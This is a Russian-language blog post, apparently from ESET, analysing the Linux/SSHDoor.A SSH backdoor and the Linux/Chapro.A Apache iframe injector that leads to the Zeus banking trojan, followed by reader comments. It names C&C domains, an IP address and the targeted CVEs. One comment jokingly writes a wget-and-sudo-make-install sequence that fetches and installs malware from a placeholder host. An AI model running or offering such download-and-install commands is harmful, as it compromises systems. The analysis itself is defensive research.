Linux под прицелом злоумышленников

    В этом посте мы хотим рассказать об обнаруженных нами в последнее время угрозах для ОС Linux и об атаках на нее. Известно, что эта операционная система чаще используется на серверах, чем на пользовательских компьютерах. Таким образом, цели, преследуемые киберпреступниками при атаках на Linux, имеют свою специфику, отличную от обычных атак на Windows-системы.

    В первой части мы расскажем о Linux/SSHDoor.A – угрозе, которая используется злоумышленниками для получения скрытого доступа на скомпрометированный сервер и для кражи информации. Вторая часть материала посвящена исследованию атаки, проводимой на Linux-серверы, которые используют Apache в качестве веб-сервера.



    Linux/SSHDoor.A

    Недавно в нашу антивирусную лабораторию поступил интересный семпл для анализа. Он представляет собой вредоносную версию SSH-демона для Linux. Этот демон содержит в себе функционал бэкдора и открывает злоумышленникам доступ на скомпрометированный сервер.

    Напомним, что Secure Shell Protocol (SSH) является очень популярным протоколом, используемым для безопасного обмена данными. Он широко применяется в мире Unix для передачи файлов, управления удаленными серверами и т. д. Модифицированный демон SSH, описываемый здесь, разработан для похищения имен пользователей и паролей, а также позволяет открывать доступ к серверу либо через жестко зашитый во вредоносный код пароль, либо через специальный SSH-ключ.

    Строки, которые компрометируют легальный бинарный файл, тем самым позволяя обнаружить скрытное или вредоносное его поведение, зашифрованы с помощью обычного XOR-алгоритма. Мы обнаружили 16 таких строк. На рисунке ниже показана часть кода, ответственная за расшифровку этих скрытых данных (с использованием константы 0x23 для расшифровки).


    Рис. Код расшифровщика строк, которые использует вредоносный код.

    Для пересылки похищенных данных на удаленный сервер используется HTTP-протокол. Данные шифруются с использованием 1024-битного ключа RSA, который хранится в бинарном файле, затем еще раз шифруются с помощью Base64 и отправляются на сервер через POST-запрос HTTP-протокола.


    Рис. Пример POST HTTP запроса, через который украденные данные отправляются на сервер.

    Бинарный файл, который мы анализировали, содержит два доменных адреса серверов, используемых для сбора данных: openssh.info, linuxrepository.org. Вероятно, оба этих имени были выбраны специально, чтобы избежать подозрений со стороны администраторов скомпрометированных серверов. На момент анализа, эти имена указывали на сервер, расположенный в Исландии с IP 82.221.99.69.

    Когда демон запущен, вредоносный код посылает на удаленный сервер IP-адрес и номер порта, под которыми он работает, а также имя хоста (hostname) сервера.


    Рис. Отправляемые бэкдором служебные данные.

    Всякий раз, когда пользователь успешно входит на взломанный сервер, имя пользователя и пароль также отправляются на удаленный сервер. Помимо кражи учетных данных, бэкдор обеспечивает злоумышленнику управление над скомпрометированным сервером двумя различными способами. Во-первых, он имеет встроенный в код, жестко зашитый пароль. Если пользователь пытается войти в систему, используя этот пароль, он автоматически получает доступ к скомпрометированному серверу. На рисунке ниже показан код, который ответственен за сравнение паролей между вшитым в код и тем, который пользователь набрал при попытке входа.


    Рис. Вредоносный код сравнения паролей.

    Во-вторых, модифицированный бинарный файл содержит SSH-ключ. Если пользователь заходит на сервер с использованием приватного ключа, соответствующего публичному ключу, зашитому в код файла угрозы, ему автоматически предоставляется доступ.

    Бэкдор также может получать данные конфигурации из файла /var/run/.options. Если такой файл существует, вредоносный код использует имя хоста, пароль и SSH ключ, хранящиеся в этом файле.

    Атака на Linux с использованием Linux/Chapro.A

    Ниже мы расскажем об атаке на серверы Linux, которые используют для работы веб-сервер Apache (а таковых в сети больше половины). Мы были серьезно обеспокоены, обнаружив специализированный вредоносный модуль Apache. Этот модуль используется для внедрения вредоносного содержимого в веб-страницы, отображаемые скомпрометированным веб-сервером. Также мы обнаружили, что этот вредоносный код был использован в схеме похищения конфиденциальных данных, связанных с кредитными картами и онлайн-банкингом.

    Проанализированный вредоносный модуль Apache был добавлен нами как Linux/Chapro.A. Его основной задачей является внедрение вредоносного содержимого в веб-страницы, которые находятся в ведении этого скомпрометированного сервера. В процессе исследования выяснилось, что через внедрение специального iframe злоумышленники перенаправляют пользователя на скрытую установку одной из модификаций известного банковского трояна Win32/Zbot, который обычно используется для кражи банковской секретной информации с зараженных машин.


    Рис. Схема атаки с использованием Linux/Chapro.A.

    Мы также обнаружили, что этот модуль имеет ряд интересных возможностей, которые успешно скрывают его от системных администраторов. В дополнение к анализу этого вредоносного модуля Apache мы представим анализ вредоносного контента, внедрением которого он занимался, и обзор основной полезной нагрузки — трояна Win32/Zbot.

    Инфектор веб-страниц Linux/Chapro.A

    Вредоносный код представляет собой специальный модуль Apache — x64 бинарный файл. Он использует технику обфускации своих строк с использованием XOR-алгоритма и ключа длиной 12 байт. Также он содержит целый ряд возможностей, направленных на сокрытие своего присутствия от системных администраторов – для этого перед передачей пользователю веб-страницы с вредоносным содержимым модуль выполняет ряд проверок.

    Во-первых, проверяется user agent браузера на присутствие известных ботов и браузеров, которые не являются уязвимыми для используемого при заражении клиентской системы набора эксплойтов. Если браузер клиента, который обращается к этой веб-странице, имеет user agent, распознающийся вредоносным кодом как web-краулер, то вредоносное содержимое (iframe) от клиента скрывается.


    Рис. Список user agent, от которых вредоносный код скрывает внедряемое содержимое.

    Во-вторых, Linux/Chapro.A проверяет все активные SSH-сессии на Linux-системе, в которой он запущен, чтобы определить участвующие в этом подключении IP-адреса. Если посетитель просматривает страницу с системы, которая имеет IP-адрес из списка SSH-подключений, он также не будет перенаправлять клиента на вредоносный контент. Такая техника помогает скрыть этот контент от системных администраторов или веб-разработчиков, которые могли бы работать на этом веб-сервере.

    В-третьих, перед внедрением вредоносного iframe в содержимое веб-страницы Linux/Chapro.A устанавливает куки (cookie) в среде веб-браузера клиента. Клиенту не будет передаваться вредоносный контент, если клиентский браузер уже содержит аналогичные cookie. При таком подходе один и тот же посетитель не будет получать вредоносное содержимое каждый раз при обращении к веб-серверу, что тоже усложняет расследование причин и способов заражения.

    И, наконец, в-четвертых, Linux/Chapro.A хранит список IP-адресов, которые уже получили вредоносное содержимое. Если пользователь посещает зараженный веб-сайт дважды с одного и того же IP-адреса, он получит такой контент только один раз. Это также создает дополнительные трудности для выявления причин заражения клиента.

    Внедряемое с использованием Linux/Chapro.A содержимое

    Как мы упоминали, главной задачей Linux/Chapro.A является внедрение вредоносных iframe в веб-страницы, обслуживаемые веб-сервером Apache. Для получения таких iframe, вредоносная программа отправляет HTTP POST-запрос на свой командный C&C сервер с периодичностью 10 минут. На следующем рисунке показан один из таких запросов.


    Рис. Запрос на C&C сервер со стороны Linux/Chapro.A.

    На момент нашего анализа этот C&C размещался в Германии. Запрос, отправляемый на сервер, является довольно простым и включает в себя версию вредоносной программы, а также версию ОС, в которой он работает. Командный сервер отвечает на эти запросы передачей iframe, который и должен быть внедрен с использованием вредоносного Apache модуля. Этот передаваемый iframe зашифрован с использованием base64 и XOR. Если посетитель скомпрометированного сервера не подпадает ни под один из списков, о которых мы говорили в предыдущем разделе, он получает копию веб-страницы с внедренным iframe, который был скачан с С&C сервера.

    На рисунке ниже показан HTML-код для iframe, которым компрометируется веб-страница. Что интересно, во избежание внимания со стороны пользователя, этот вредоносный iframe расположен за пределами отображаемой браузером области.


    Рис. Вредоносный iframe.

    Набор эксплойтов, используемых в атаке

    В процессе нашего анализа мы обнаружили, что iframe, который внедряется с использованием Linux/Chapro.A, перенаправляет пользователя на набор эксплойтов “Sweet Orange”. На момент нашего анализа, страница (сервер), которая содержала этот эксплойт-пак (landing page), размещалась в Литве. Данные эксплойты пытаются использовать следующие уязвимости в современных браузерах и плагинах:
    CVE-2012-5076: Java JAX-WS Class Handling
    CVE-2012-4681: Java getField Method Class Invocation Privilege Escalation
    CVE-2006-0003: Internet Explorer MDAC
    CVE-2010-0188: Adobe Reader LibTiff Integer Overflow

    Если набор эксплойтов имеет возможность использовать одну из этих уязвимостей, он исполняет вредоносную полезную нагрузку на машине жертвы.

    Полезная нагрузка атаки

    Конечная цель атаки заключается в установке одной из модификаций банковского трояна Win32/Zbot (широко известного как Zeus). В нашем случае Win32/Zbot нацелен на европейские и российские банковские учреждения. Скриншот ниже показывает форму, используемую одним из банков для предоставления клиентам онлайн-доступа к банковскому аккаунту.


    Рис. Оригинальная веб-форма, используемая для входа пользователя в систему онлайн-банкинга.

    Как мы видим, система банкинга предупреждает пользователя о том, что система онлайн-банкинга никогда не будет запрашивать дополнительную, строго конфиденциальную информацию в виде PIN-кода, CVC/CVV-кода или других данных, непосредственно связанных с банковской картой и принадлежащих только ее владельцу. Однако, когда пользователь посещает эту страницу с зараженного Zeus компьютера, данное предупреждение успешно удаляется из отображаемой формы. На скриншоте внизу показан как раз такой случай.


    Рис. Веб-форма на скомпрометированной веб-странице, которая не содержит дополнительных предупреждений для пользователя.

    Как только пользователь успешно входит в систему банкинга под своим аккаунтом, вредоносный код отображает всплывающее окно, в котором его попросят ввести CVV-код карты. Как раз о недопустимости этого и предупреждает информация в оригинальной, не скомпрометированной веб-форме. Далее вредоносный код попытается отправить учетные данные пользователя и его CVV злоумышленникам.

    ESET NOD32
    Company
    Ads
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More

    Comments 29

      +42
      Занятно конечно, но чтобы этим воспользоваться злоумышленники предварительно должны получить рута на системе.
        +25
        Я правильно понимаю, что для того, чтобы в системе появились данные заразы, у злоумышленника изначально должен быть рутовый доступ в систему?
          +5
          А по вашему откуда взялось это слово rootkit?
            +23
            Я прекрасно знаю что это :) Цель моего коммента была… м… ну скорее показать, что вся шумиха, которая поднимается в последнее время под лозунгами «для линукса написали вирус, мы все умрем», «линукс взломали, красноглазики бойтесь» и прочие паникерские вещи, эм… слишком преувеличина и раздута.

            Ошибки в софте, которые позволяют получить remote root это да, а подобные модули относительно легко отслеживаются (благо систем проверки целостности софта не мало), да и самому такое написать можно :)

            Вот вы сначала рута получите… да скомпилируйте…
              –29
              Так в статье же написано, что речь за серверные станции, а не пользовательские. А рут на серверных достаточно часто брошен на произвол судьбы, так же сюда можно взять сетевое оборудование с линукс на борту, там рут по умолчанию. Тут всё же больше смысл как, если уж прошляпили доступ, то почистить систему.
                +23
                На ваших серверах рут брошен на произвол судьбы?
                  –10
                  Можете проверить, если Вас так беспокоит судьба моих серверов.
                  Про рут пишу из практического опыта, которого у минусующих судя по всему нет. Я уже столько повидал крупных интернет-проектов, которые крутятся под root правами на веб-сервере, на mysql, да и достаточно других уязвимых сервисов под рутом. А сколько раз приходилось снимать бэкдоров и червей со взломанных систем. Ниже собственно уже об этом написали. Так что в моей судьбе всё в порядке по теме.

                  Другие аргументы есть?
                    +4
                    Чтобы под root запустить вебсервер или MySQL это еще и определенный скил надо иметь.
                    Как раз все howto показывают примеры установки в отдельных пользователях.
                    А тем кто специально запускает вебсерверы и БД под рутом лучше и не чистить ничего, так им и надо.
                  +6
                  Это печально, что у вас нет регламентов по ИБ для серверов и аудита…
                    –7
                    Это точно сообщение мне адресовано? Не понимаю причём тут я вообще, у меня лично всё в порядке, это всё таки оценивать могут хотя бы потенциальные клиенты, а ещё лучше клиенты, но никак не анонимы с хабра.
                    А статья про линукс бэкдоры если что. :)
                      +6
                      М… да, пожалуй погорячился :) Не у вас, а у тех, у кого рут брошен на произвол судьбы :) Mea culpa
                    0
                    часто вы видели сетевое оборудование на базе amd64?
                      0
                      я имел ввиду в общем линукс и в общем бэкдоры, описанные в статье не единственные существующие. А так да, под amd64 вроде не встречал.
                        0
                        Cisco ASA, например. Не линукс, конечно :)
                      0
                      А мало что ли есть атак, в том числе 0day, которые дают удалённого рута? Особенно если на системе стоит не очень свежий софт, или наоборот, стоит самый-самый свежак, который ещё не стал stable.
                        +2
                        Если не трудно, не могли бы вы назвать 2-3 штучки?
                          –1
                          www.metasploit.com/modules/framework/search?utf8=%E2%9C%93&osvdb=&bid=&text=linux&cve=&msb= — достаточно? Берите пару remote command execution + local privileges escalation, получите рута.
                            0
                            А вы уверены, что большинство из этих эксплоитов, направленных на переполнение буфера, успешно обходят различные механизмы защиты системы, такие, как, например, Stack Protector, ASLR, Non-Executable Memory, etc?
                              0
                              Далеко не все эксплоиты связаны с переполнением буфера. Да, сейчас стало намного лучше, но ошибки были, есть и будут появляться в коде, и некоторые из них смогут использовать злоумышленники. В конце концов, иногда находят проблемы и в ядре, тогда уж точно никакие ASLR не помогут. С учётом современной любви к виртуализации — актуальными становятся атаки на гипервизоры изнутри виртуальной машины, с последующим захватом хост-машины и всех крутящихся на ней виртуалок.

                              Отдельно, не забывайте, о некотором количестве линукс-десктопов, которые атакуют традиционно через ошибки в браузерах, флеш плеерах, пдф ридерах, даже в статье были ссылки на подобные вещи.
                        +2
                        шумиха… «для линукса написали вирус, мы все умрем»

                        Тем более, когда эта «шумиха» идёт от производителей коммерческих антивирусов.
                      +12
                      Да, это классические трояны без собственных механизмов распространения. Кстати, чтобы заразиться ими на 32х-разрядной платформе, их еще и перекомпилировать предварительно нужно…
                        –4
                        wget http://virussite
                        tar xvfz virus.tar.gz
                        cd virus
                        #данный блок повторяется в цикле с громким матом до успешного проходжения
                        ./configure {дофига параметров} 
                        sudo make install
                        #конец блока
                        

                        бинго, у вас в системе поставился вирус от рута!!!
                        p.s. осталось прописать его в rc, чтобы запускался при старте системы :)
                          0
                          Ну да, ну да… :) Прямо вот взял, перекомпилировал, запустил от рута, еще и в автозапуск его.
                            +3
                            … и разослал исходники всем линуксоидам из адресной книги, чтобы они повторили процедуру на своих серверах.
                              +1
                              Когда не проходит configure, то придется ставить все зависимости и нужные версии библиотек, если разработчик вируса не позаботился включить их в пакет.
                        • UFO just landed and posted this here
                          • UFO just landed and posted this here
                              +3
                              Ждем ебилдов
                              0
                              Похоче что вы рассказываете про /lib64/libkeyutils.so.1.9 (/lib/libkeyutils.so.1.9 на 32б)
                              Так вот, самый интересный вопрос — не как работает эта поделка, а как она попадает в систему?

                              Only users with full accounts can post comments. Log in, please.